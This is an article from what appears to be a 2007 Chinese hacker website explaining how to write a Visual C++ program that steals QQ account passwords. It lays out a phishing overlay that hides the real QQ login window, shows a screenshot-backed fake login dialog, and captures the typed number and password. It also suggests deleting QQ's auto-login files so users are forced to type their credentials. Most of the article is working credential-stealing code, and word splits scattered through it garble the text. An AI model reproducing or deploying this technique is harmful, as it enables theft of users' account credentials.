奥运倒计时:
2008 中国挺住,中国加油!
全国人民对四川汶川大地震遇难同胞的深切哀悼!
设为首页
加入收藏
论坛登陆 用户名:
密码:
首页
新闻资讯
文章中心
黑客资源
黑客点睛
安全防护
软件下载
动画教程
会员咨询
技术问答
论坛社区
文章
下载
图片
文章
|
电脑知识
|
网络知识
|
菜鸟入门
|
入侵教程
|
黑客攻防
|
黑客编程
|
原创精华
|
黑客人物
|
黑客技术
|
提权技术
|
跨站技术
|
渗透技术
|
鸽子专题
|
您现在的位置:
太平洋安全网
>>
文章
>>
黑客编程
>> 正文
[组图]
Visual C++编程窃取QQ密码(图)
作者:佚名 文章来源:本站原创 点击数: 更新时间:2007-11-14
现在的
QQ
防盗
技术
越来越好,一般的钩子已经无法获取用户输入的密码了,程序本身的防范很严密。那么我们就从用户这边来下手吧。
--------------------------------------------------------------------------------
近日无所事事,看到现在的
QQ
防盗
技术
越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的
数据
,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对
电脑
不是很了解的,各位看官可不能扔丑鸡蛋啊。
网吧里一般用户点击QQ快捷方式后就输入号码和密码,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是QQ登录的窗口,如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉,获得这些信息后,我们先截取整个屏幕,然后把真正的QQ登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后在图片QQ登陆的地方创建好QQ号码和密码输入窗口,在检测到用户单击在QQ登陆按钮时获取用户输入的字符,把这些字符发送到真正的QQ窗口里,最后模拟单击QQ登陆按钮完成
QQ
的正常登陆。
然而家庭用户一般是选了自动登陆的方式,所以没有QQ登录的窗口,那我们就要动一些手脚了。了解QQ的地球人都知道,QQ文件夹下有这两个文件:AutoLogin.dat和LoginUinList.dat,它们的功能:这两个文件是QQ的号码登录数据文件,AutoLogin.dat 保存的是自动登录号码的
数据
文件,LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除
QQ
登录
数据
,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下:
//根据进程ID得到进程名称
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe)) {
return FALSE;
}
while (Process32Next(hSnapshot, &pe)) {
if (pe.th32ProcessID == PID) {
strcpy(lpszProcessName, pe.szExeFile);
return true;
}
}
return FALSE;
}
//查找
QQ
登录窗口
void
QQ
Find()
{
HWND hWnd1 = NULL, qqID_hWnd = NULL,
QQ
Pass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
char sT
IT
le[255];
CString ss;
DWORD
QQ
PID;
int LoginID;
BOOL find = FALSE;
do
{
//获得当前激活窗口的句柄
g_hWnd = GetForegroundWindow();
GetWindowThreadProcessId(g_hWnd, &
QQ
PID);
//根据PID获得进程名
processIdToName(sT
IT
le,
QQ
PID);
ss = sT
IT
le;
ss.MakeLower();
//判断是否
QQ
if(ss != "
QQ
.exe")
{
Sleep(100);
continue;
}
//获得标题文字,判断是否登陆对话框
SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sT
IT
le);
ss = sT
IT
le;
int n = ss.Find("
QQ
", 0);
int m = ss.Find("登录", 0);
if(n >= 0 || m >= 0)
{
//查找
QQ
登陆按钮的句柄
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
//获得
QQ
登陆按钮窗口位置
GetWindowRect(ButtonLogin, &g_
QQ
Login);
//查找
QQ
取消按钮的句柄
ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
//获得
QQ
取消按钮窗口位置
GetWindowRect(ButtonCancel, &g_
QQ
Cancel);
//查找
QQ
密码输入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
if(hWnd1 != NULL)
{
qqPass_hWnd = FindWindowEx(hWnd1,
QQ
Pass_hWnd, "Ed
IT
", NULL);
//获得
QQ
密码输入框窗口位置
GetWindowRect(qqPass_hWnd, &g_
QQ
PassRt);
}
//查找
QQ
号码输入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
if(hWnd1 != NULL)
{
qqID_hWnd = FindWindowEx(hWnd1,
QQ
ID_hWnd, "Ed
IT
", NULL);
//获得
QQ
号码输入框窗口位置
GetWindowRect(qqID_hWnd, &g_
QQ
IDRt);
//获得当前默认
QQ
号码
SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)
QQ
id);
}
//等待
QQ
窗口完全出现后抓取整个屏幕
Sleep(100);
g_DlgRt.left = 0;
g_DlgRt.top = 0;
g_DlgRt.right = m_xScreen;
g_DlgRt.bottom = m_yScreen;
g_pBitmap = CopyScreenToB
IT
map(&g_DlgRt);
//设置
QQ
窗口为不可见
ShowWindow(g_hWnd, SW_HIDE);
//弹出我们创建的伪造对话框
HINSTANCE hInstance = GetModuleHandle(NULL);
DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
//设置
QQ
窗口为可见
ShowWindow(g_hWnd, SW_SHOW);
//把QQ号码和密码填到真正的
QQ
登录窗口上,并模拟单击登陆按钮
SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)
QQ
id);
SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)
QQ
pass);
SendMessage(ButtonLogin, BM_CLICK, 0, 0);
DeleteObject(g_pB
IT
map);
//设置标志退出循环
find = true;
}
}
while(find == FALSE);
}
截图如下:
图一 伪装的登陆界面
好了,说到这儿也差不多啦,见笑见笑了^_^,最后奉劝一句,请勿用于非法。
文章录入:ainiver 责任编辑:admin
上一篇文章:
软件破解教程-常用Win32 API函数简介
下一篇文章:
软件破解教程-第6章第3节 加密算法3
【
发表评论
】【
加入收藏
】【
告诉好友
】【
打印此文
】【
关闭窗口
】
推荐
文章
一句话木马用Upfile.vbs脚本
软件破解教程-第6章第3节 加密算法5
软件破解教程-第6章第3节 加密算法4
软件破解教程-第6章第3节 加密算法3
Visual C++编程窃取QQ密码(图)
软件破解教程-常用Win32 API函数简介
VB编程实现图像的漂亮效果
输入10进制,输出2进制
热门
文章
软件破解教程-第6章第3节 加密算法3
Visual C++编程窃取QQ密码(图)
VB编程实现图像的漂亮效果
输入10进制,输出2进制
详解Visual C#数据库编程
入侵渗透中用过的三则VBS代码
入侵渗透中用过的三则VBS代码
网站防止注入入侵的一些有效代码和方法
本站
推荐
关于我们
|
联系方法
|
招聘信息
|
加入会员
|
诚征代理
|
广告服务
|
欢迎投稿
|
站长信箱
|
友情链接
|
网站地图
24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
许可证号:豫ICP备07005385号